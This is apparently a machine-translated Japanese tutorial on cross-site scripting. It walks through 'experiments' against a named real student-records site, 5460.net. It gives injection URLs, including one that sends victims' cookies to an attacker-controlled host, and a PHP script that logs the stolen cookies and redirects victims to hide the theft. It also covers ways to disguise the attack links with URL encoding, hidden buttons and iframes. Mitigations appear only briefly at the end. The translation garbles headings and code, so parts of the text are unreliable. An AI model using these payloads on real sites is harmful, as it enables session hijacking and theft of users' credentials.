この記事では、主にクロスサイトスクリプトの実行の脆弱性の原因を紹介します。クロスサイトのスクリプト実行の脆弱性に関する情報はあまりないため、通常、インターネット上の詳細な紹介はありません。この記事がこれらの知識をより詳細に紹介できることを願っています。以下は、間違った新しいテクノロジーチャネルの編集者によって編集されたクロスサイトスクリプト実行の脆弱性の原因です。詳細については、以下に行きましょう!
クロスサイトスクリプト実行の原因脆弱性[脆弱性の原因]
CGIプログラムは、ユーザーが送信した変数のHTMLコードをフィルタリングまたは変換しないため、その理由は非常に簡単です。
【脆弱性フォーム】
ここで言及されているフォームは、実際にはCGI入力の形式を指します。これは、主に2つのタイプに分割されています。
1.入力を表示します
2。暗黙的な入力
表示入力は明らかにユーザーがデータを入力する必要がありますが、暗黙の入力はユーザーにデータを入力する必要はありませんが、ユーザーはデータを入力することで干渉することができます。
表示入力は、2つのタイプに分割できます。
1.入力が完了し、結果はすぐに出力されます
2。入力が完了し、テキストファイルまたはデータベースに保存され、結果は出力です。
注:後者はあなたのウェブサイトを認識できないかもしれません! :(
通常の状況に加えて、サーバーまたはCGIプログラムを使用してエラー情報を処理することにより、暗黙的な入力を実装することもできます。
【抜け穴の危険】
誰もが最も心配しているのは、おそらくこの問題です。次のリストは包括的または体系的ではないかもしれませんが、もっと典型的なものであるべきだと思います。
1.他のユーザーCookieで機密データを取得します
2。ページ固有の情報をブロックします
3。鍛造ページ情報
4。サービス拒否攻撃
5。外部ネットワークと内部ネットワークのさまざまなセキュリティ設定を突破する
6。他の脆弱性と組み合わせて、システム設定を変更し、システムファイルを表示し、システムコマンドを実行します。
7。その他
一般的に言えば、上記の危険はしばしばページの変形を伴います。いわゆるクロスサイトスクリプト実行の脆弱性は、攻撃効果が他の人のウェブサイトを通じて達成されることを意味します。つまり、この種の攻撃はある程度アイデンティティを隠すことができます。
【使用方法】
以下に、特定の例を通じて上記のさまざまな危険を示します。これは、より説明的で理解しやすいはずです。より明確な構造のために、各ハザードの実験を行います。
これらの実験をうまく行うには、パッケージキャプチャソフトウェアが必要です。私は虹彩を使用しています。もちろん、Netxrayなどの他のソフトウェアを選択できます。特定の使用方法については、関連するヘルプまたはマニュアルを参照してください。
さらに、理解すべきことの1つは、サーバーがユーザーが送信した情報を返す限り、クロスサイトスクリプト実行の脆弱性がある可能性があることです。
わかりました、すべてが準備ができています、実験を始めましょう! :)
実験1:他のユーザーのCookieで機密情報を取得します
有名な国内の学生レコーディングサイト5460.NETを説明する例として見てみましょう。以下の手順に従ってください。
1.ホームページhttp://www.5460.net/を入力してください
2。ユーザー名「<h1>」を入力して送信します。サーバーは、ユーザーの送信「<H1>」を含む情報を返します。
3.パケットキャプチャデータを分析し、実際のリクエストを取得します。
http://www.5460.net/txl/login/login.pl?username=<h1>&passwd=&ok.x=28&ok.y=6
4.ユーザークッキー情報を表示できることを目標に、提出を作成します。
http://www.5460.net/txl/login/login.pl?username=<script> alert(document.cookie)</ script>&passwd =&ok.x = 28&ok.y = 6
5.上記のリクエストが予想される効果を取得した場合、次のリクエストを試すことができます。
http://www.5460.net/txl/login/login.pl?username=<script> window.open( "http://www.notfound.org/ info.php?"%2bdocument.cookie)</script
その中で、http://www.notfound.org/info.phpは、制御できるホストのスクリプトです。その機能は、クエリ文字列の情報を取得することであり、コンテンツは次のとおりです。
<?php
$ info = getEnv( "query_string");
if($ info){
$ fp = fopen( "info.txt"、 "a");
fwrite($ fp、$ info。 "/n");
fclose($ fp);
}
ヘッダー( "場所:http://www.5460.net");
注:「%2B」は「+」のURLエンコードであり、「+」が空間として処理されるため、ここでは「%2B」のみを使用できます。次のヘッダー文は、純粋に隠蔽を増やすためのものです。
6.上記のURLが正しく実行できる場合、次のステップは5460.NETにログインしてURLにアクセスし、ユーザーのCookieで機密情報を取得できるようにすることです。
7。後でやりたいことはあなた次第です!
実験2:ページ固有の情報をブロックします
私たちはまだ5460.NETを例として採用しています。ここに問題のあるCGIプログラムがあります。
http://www.5460.net/txl/liuyan/liuyansql.pl
CGIプログラムは、ユーザーが提供する3つの変数、つまりNID、CSID、CNAMEを受け入れますが、ユーザーが送信したCNAME変数を確認しません。さらに、CGIプログラムは、出力ページの一部としてCNAMEの値を取得します。 5460.NETのユーザーは、あなたの名前がメッセージの右下隅にあることをより明確にする必要がありますよね?
上記の条件があるので、次の結論を出したいと思うかもしれません。
ユーザーは、2つのメッセージ間のすべてのメッセージを「ブロック」できます。
もちろん、私たちが話している「ブロック」は「削除」ではなく、ユーザーのメッセージはまだ存在しますが、HTMLの特性のため、ページからそれを見ることができません。もちろん、ソースコードを表示したい場合は役に立たないが、CGIのセキュリティを研究している私たちは、何かをするかどうかにかかわらず、HTMLソースコードを見る人は何人ですか?
さまざまな理由から、ここで特定の詳細を発表することはありません。原則を知っているだけです。
注:慎重に考えると、メッセージをブロックするだけでなく、匿名でメッセージを残すこともできますよね?
実験3:ページ情報の忘却
上記の実験を理解している場合、この実験を行う必要はありません。基本原則は同じですが、実装するのは少し面倒です。
実験4:サービス拒否攻撃
クロスサイトスクリプト実行の脆弱性を使用してサーバーの動作をある程度制御できることがわかっているはずです。この場合、サーバーを制御して、リソースを消費するアクションを実行できます。たとえば、デッドループや開いた無限のウィンドウなどを含むJavaScriptスクリプトを実行します。これにより、URLにアクセスするユーザーシステムは、遅くなったりクラッシュしたりする可能性があります。同様に、いくつかのスクリプトを埋め込み、サーバーに他のサーバーのリソースを要求するように依頼することもできます。アクセスされたリソースがより多くのリソースを消費し、より多くの訪問者がいる場合、アクセスされたサーバーもサービスを拒否される可能性があり、サービスの拒否がサーバーにアクセスすることによって開始されるため、アイデンティティを非表示にすることができます。
実験5:外部ネットワークと内部ネットワークのさまざまなセキュリティ設定を突破する
これは理解しやすいはずです。一般的に、ブラウザはさまざまな地域に異なるセキュリティレベルを設定します。たとえば、インターネットエリアの場合、JavaScriptの実行を許可しない場合がありますが、イントラネット領域では、JavaScriptの実行を許可する場合があります。一般的に言えば、前者のセキュリティレベルは後者のセキュリティレベルよりも高くなっています。このようにして、一般に、他の人は悪意のあるJavaScriptスクリプトを実行してあなたを攻撃することはできませんが、あなたと同じイントラネット上のサーバーにクロスサイトのスクリプト実行の脆弱性がある場合、攻撃者はサーバーがイントラネット領域にあるためにそれを利用する機会があります。
実験6:他の脆弱性と組み合わせて、システム設定の変更、システムファイルの表示、システムコマンドの実行など。
ブラウザ関連の脆弱性が多すぎるため、クロスサイトスクリプト実行の脆弱性と組み合わせることができる多くの脆弱性があります。誰もがこれらの問題について非常に明確であるべきだと思います。 IEタイトルを数回変更する脆弱性、間違ったMIMEタイプ実行コマンドの脆弱性、およびさまざまなワームがすべて良い例です。
その他の例については、次のリンクを参照してください。
インターネットエクスプローラーポップアップオブジェクトタグバグ
http://archives.neoapsis.com/archives/bugtraq/2002-01/0167.html
インターネットエクスプローラーJavaScriptモードレスポップアップローカルサービス拒否脆弱性
http://archives.neoapsis.com/archives/bugtraq/2002-01/0058.html
MSIE6はローカルファイルを読み取ることができます
http://www.xs4all.nl/~jkuperus/bug.htm
MSIEは自動的にプログラムをダウンロードして実行できます
http://archives.neoapsis.com/archives/bugtraq/2001-12/0143.html
MSIEダウンロードダイアログでスプーフィング可能なファイル拡張機能
http://archives.neoapsis.com/archives/bugtraq/2001-11/0203.html
他のIEクッキー盗みバグ(MS01-055)
http://archives.neoapsis.com/archives/bugtraq/2001-11/0106.html
Microsoft Security Bulletin MS01-055
http://archives.neoapsis.com/archives/bugtraq/2001-11/0048.html
Microsoft Internet Explorerの深刻なセキュリティ欠陥 - ゾーンスプーフィング
http://archives.neoapsis.com/archives/bugtraq/2001-10/0075.html
間違ったMIMEヘッダーにより、IEが電子メールの添付ファイルを実行する可能性があります
http://www.kriptopolis.com/cua/eml.html
ここでのクロスサイトスクリプト実行の脆弱性の役割は、実際の攻撃者のアイデンティティを隠すことです。
実験7:その他
実際、このタイプの問題は、クロスサイトのスクリプト実行の脆弱性とはほとんど関係ありませんが、ここで言及する必要があります。問題の本質は、CGIプログラムがユーザーの送信データをフィルタリングせず、出力処理を実行することです。たとえば、SSIをサポートするサーバー上のCGIプログラムは、データを入力する方法に関係なくSSI命令の実行につながる可能性があります。もちろん、これはクライアント側ではなく、サーバー側で実行されます。実際、ASP、PHP、PERLなどのCGI言語は、この問題を引き起こす可能性があります。
【隠されたテクニック】
時間のために、私は主にここで理論について話します。理解するのは難しくないと思います。本当に問題がある場合は、この本に行って読んでください。
1。URLエンコーディング
比較する:
http://www.5460.net/txl/login/login.pl?username=<h1>&passwd=&ok.x=28&ok.y=6
http://www.5460.net/txl/login/login.pl?username=%3c%68%31%3e&passwd=&ok.x=28&ok.y=6
どちらがもっと隠されていると思いますか? !
2。他のオブジェクトの下に隠します
誰かに直接リンクを与えるよりも、ボタンの下のリンクを非表示にすることを決定する方が良いですか?
3。ページに埋め込みます
他の人がボタンを押すよりも、他の人にアドレスにアクセスできるようにする方がはるかに簡単ですか(ここのアドレスは上記のURLとは異なることに注意してください)? iframeの助けを借りて、この攻撃をより隠すことができます。
4。イベントの合理的な使用
イベントの合理的な使用は、数日前にSecurityFocusのクロスサイトスクリプト実行の脆弱性など、CGIプログラムの入力制限を場合によってはバイパスできます。
【予防】
一般的に言えば、<script> alert(document.cookie)</scrip>のような攻撃を直接実行することに問題はありませんが、CGIプログラムは「 '」または' 'を含むなどのユーザー入力を処理する場合があります。現時点では、これらの制限をバイパスするためにいくつかのトリックを使用する必要があります。
HTML言語に精通している場合、これらの制限をバイパスすることは問題ではありません。
【解決】
クロスサイトスクリプトの実行の脆弱性に攻撃されないようにするには、プログラマーとユーザーの両方が協力する必要があります。
プログラマー:
1.ユーザーがサビされたデータでHTMLコードをフィルタリングまたは変換します
2。ユーザーが提出したデータの長さを制限します
ユーザー:
1.他の人が提供するリンクに簡単にアクセスしないでください
2. JavaScriptとActiveXコードの実行をブラウザの無効化します
添付ファイル:一般的なブラウザの変更設定の場所は次のとおりです。
インターネットエクスプローラー:
ツール - >インターネットオプション - >セキュリティ - >インターネット - >カスタムレベル
ツール - >インターネットオプション - >セキュリティ - >イントラネット - >カスタムレベル
オペラ:
ファイル - > Quickパラメーター - > Javaを許可します
ファイル - >クイックパラメーター - >プラグインを使用します
ファイル - > Quickパラメーター - > JavaScriptを許可します
【よくある質問】
Q:クロスサイトスクリプト実行の脆弱性はどこに存在しますか?
A:CGIプログラムであり、ユーザーが入力を許可されている限り、クロスサイトスクリプト実行の脆弱性がある場合があります。
Q:クロスサイトのスクリプト実行の脆弱性は、他の人のCookieのみを盗むことができますか?
A:もちろんそうではありません!すべてのHTMLコードを実行できます。クロスサイトスクリプト実行の脆弱性を実行できます。
上記の記事は、クロスサイトスクリプトの実行の脆弱性の原因です。誰もが特定の理解を持っていると思います。より多くの技術情報を知りたい場合は、間違った新しいテクノロジーチャネルに注意を払い続けてください!